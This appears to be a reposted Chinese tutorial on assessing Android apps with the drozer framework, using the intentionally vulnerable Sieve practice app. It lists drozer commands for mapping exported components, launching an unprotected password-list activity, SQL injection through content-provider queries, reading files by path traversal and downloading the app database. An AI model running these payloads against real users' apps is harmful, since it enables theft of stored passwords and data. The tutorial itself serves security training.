点评:本文对Drozer的基本使用有比较详细的讲解 drozer是一款针对Android系统的安全测试框架。drozer可以帮助Android app和设备变得更安全,其提供了很多Android平台下的渗透测试exploit供你使用和分享。对于远程的exploit,它可以生成shellcode帮助你进行远程设备管理。
1.更快的Android安全评估
drozer可以大大缩减Android安全评估的耗时,通过攻击测试暴露Android APP的漏洞。
2.基于真机的测试
drozer运行在Android模拟器和真实设备上,它只需要USB调试即可使用。
3.自动化和扩展
drozer有很多扩展模块,你可以找到他们进行测试以发现Android安全问题。
下载地址:https://github.com/mwrlabs/drozer 看着drozer的用户说明文档,试了几个Android App,测试发现这几个App都基本没什么问题,只好又用drozer提供的sieve来进行练习了。进行安装评估的步骤一般也就是下面的标题步骤了。 1 在Android设备上安装使用Sieve[url=http://www.droidsec.cn/%e4%bd%bf%e7%94%a8drozer%e5%af%b9android%e5%ba%94%e7%94%a8%e8%bf%9b%e8%a1%8c%e5%ae%89%e5%85%a8%e8%af%84%e4%bc%b0/] 在seting里面还有其他的功能: 2 获取App Package信息drozer每个模块的作用:
[url=http://www.droidsec.cn/%e4%bd%bf%e7%94%a8drozer%e5%af%b9android%e5%ba%94%e7%94%a8%e8%bf%9b%e8%a1%8c%e5%ae%89%e5%85%a8%e8%af%84%e4%bc%b0/] 获取App包信息的模块是**app.package.* **:
[/url] 2.1获取获取Android设备上的所有的安装的App的包名命令是: run app.package.info -a com.mwr.example.sieve run app.package.list
这条命令会把所有的App都列出来,如果想具体查找某个App可加上-f [App关键字]的参数,如查找sieve在Android设备中的包名: run app.package.list -f sieve
[url=http://www.droidsec.cn/%e4%bd%bf%e7%94%a8drozer%e5%af%b9android%e5%ba%94%e7%94%a8%e8%bf%9b%e8%a1%8c%e5%ae%89%e5%85%a8%e8%af%84%e4%bc%b0/] 注意:在输入命令时可以使用Tab键自动补齐 需要记住com.mwr.example.sieve的包名,以后的命令要针对这个操作 2.2获取Sieve的一些基本信息命令是: run app.package.info -a com.mwr.example.sieve
可以看到Sieve的版本信息,数据存储的目录,用户ID,组ID,是否有共享库,还有权限信息等。 2.3Itentify The Attack Surface(确定攻击面?)这个测试教程主要关注的是Android 固有的IPC通信机制的脆弱性,这些特点导致了App泄漏敏感信息给同一台设备上的其它App。 查找可以进行Attack Surface的组件的命令: run app.package.attacksurface com.mwr.example.sieve
[url=http://www.droidsec.cn/%e4%bd%bf%e7%94%a8drozer%e5%af%b9android%e5%ba%94%e7%94%a8%e8%bf%9b%e8%a1%8c%e5%ae%89%e5%85%a8%e8%af%84%e4%bc%b0/] 结果显示了潜在可以利用的组件个数: “exported”表示组件可以被其他App使用。 services is debuggable表示我们可以用adb绑定一个调试器到进程。 2.4进一步获取Attack Surface的信息如进一步获取ativity组建的attack surface信息的命令是: run app.activity.info -a com.mwr.example.sieve
其中上图的MainLoginActivity是程序启动时主界面,必须是exported,其他两个activity是理论上说是不能exported的。 2.5启动Activities上图的PWList和FileSelectActivity是exported并且不需要任何权限,我们可以用drozer启动他们,比如感觉PWList这个含金量应该大一点,所以就启动它了,命令是: run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList
启动后的效果: [url=http://www.droidsec.cn/%e4%bd%bf%e7%94%a8drozer%e5%af%b9android%e5%ba%94%e7%94%a8%e8%bf%9b%e8%a1%8c%e5%ae%89%e5%85%a8%e8%af%84%e4%bc%b0/] app.activity.start的使用方法: help app.activity.start usage: run app.activity.start [-h] [–action ACTION] [–category CATEGORY [CATEGORY …]] [–component PACKAGE COMPONENT] [–data-uri DATA_URI] [–extra TYPE KEY VALUE] [–flags FLAGS [FLAGS …]] [–mimetype MIMETYPE] Starts an Activity using the formulated intent.
2.6从Content Provider中获取信息接上2.3节,进一步获取content provider的attact surface的信息的命令是: run app.provider.info -a com.mwr.example.sieve
2.6.1查找可以访问Content Provider的URI(数据泄漏)从上节图中我们猜测DBContentProvider会有某种格式的数据库,但是我们不知道其中的数据是如何组织的。Content URI必须是 “content:///” 的形式,因此我们可以构造部分的content URIs来访问DBcontent Provider。 上图存在一个需要READ_KEYS和WRITE_KEYS权限才能读和写的“/Keys”的路径。 drozer的scanner模块提供了一些方法去猜测可能存在的content URIs: run scanner.provider.finduris -a com.mwr.example.sieve
[url=http://www.droidsec.cn/%e4%bd%bf%e7%94%a8drozer%e5%af%b9android%e5%ba%94%e7%94%a8%e8%bf%9b%e8%a1%8c%e5%ae%89%e5%85%a8%e8%af%84%e4%bc%b0/]
上图中检测出了可以访问content的URI,接下来我们可以用drozer的其他模块和URI从content中获取,甚至更改信息。 如: run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –vertical
2.6.2进行SQL注入Android操作系统建议使用SQLite数据库存储用户数据。SQLite数据库使用SQL语句,所以可以进行SQL注入。 使用projection参数和seleciton参数可以传递一些简单的SQL注入语句到Content provider。如: run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “‘”
[url=http://www.droidsec.cn/%e4%bd%bf%e7%94%a8drozer%e5%af%b9android%e5%ba%94%e7%94%a8%e8%bf%9b%e8%a1%8c%e5%ae%89%e5%85%a8%e8%af%84%e4%bc%b0/] run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –selection “‘”
上面两条命令执行后Android设备返回了非常详细的错误信息。 使用Sql注入列出数据库中的所有数据表: run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM SQLITE_MASTER WHERE type=’table’;–“
[url=http://www.droidsec.cn/%e4%bd%bf%e7%94%a8drozer%e5%af%b9android%e5%ba%94%e7%94%a8%e8%bf%9b%e8%a1%8c%e5%ae%89%e5%85%a8%e8%af%84%e4%bc%b0/] run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM Key;–“
2.6.3从File System-Backed Content Providers获取信息File System-backed Content Provider提供了访问底层文件系统的方法,Android沙盒会阻止App共享文件允许,而File System-backed Content Provider允许App共享文件。 对于sieve来说,我们可以推测出的FileBackupProvider就是一个file system-backed content provider。 我们可以使用drozer的app.provider.read模块查看某个文件: run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
[url=http://www.droidsec.cn/%e4%bd%bf%e7%94%a8drozer%e5%af%b9android%e5%ba%94%e7%94%a8%e8%bf%9b%e8%a1%8c%e5%ae%89%e5%85%a8%e8%af%84%e4%bc%b0/] 可以使用app.provider.download下载文件 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db
2.6.4检查Content Provider的脆弱性检查是否有SQL注入: run scanner.provider.injection -a com.mwr.example.sieve
检查是否存在遍历文件的漏洞 run scanner.provider.traversal -a com.mwr.example.sieve
[url=http://www.droidsec.cn/%e4%bd%bf%e7%94%a8drozer%e5%af%b9android%e5%ba%94%e7%94%a8%e8%bf%9b%e8%a1%8c%e5%ae%89%e5%85%a8%e8%af%84%e4%bc%b0/] 总结体会:我觉得在刚开始获取了软件包的基本信息后,就先用模块scanner里面的工具扫一扫,找到一些漏洞或者利用点后再进行下一步。 2.7和Services交互获取是exported状态的services的命令: run app.service.info -a com.mwr.example.sieve
关于Services的模块:
[url=http://www.droidsec.cn/%e4%bd%bf%e7%94%a8drozer%e5%af%b9android%e5%ba%94%e7%94%a8%e8%bf%9b%e8%a1%8c%e5%ae%89%e5%85%a8%e8%af%84%e4%bc%b0/] 如向某个服务发送信息: run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService –msg 1 5 3
2.8 其他常用模块- shell.start 在Android设备上开启一个交互式Linux Shell
- tools.file.upload / tools.file.download
- tools.setup.busybox / tools.setup.minimalsu 安装busybox或者minimalsu到Android设备上
|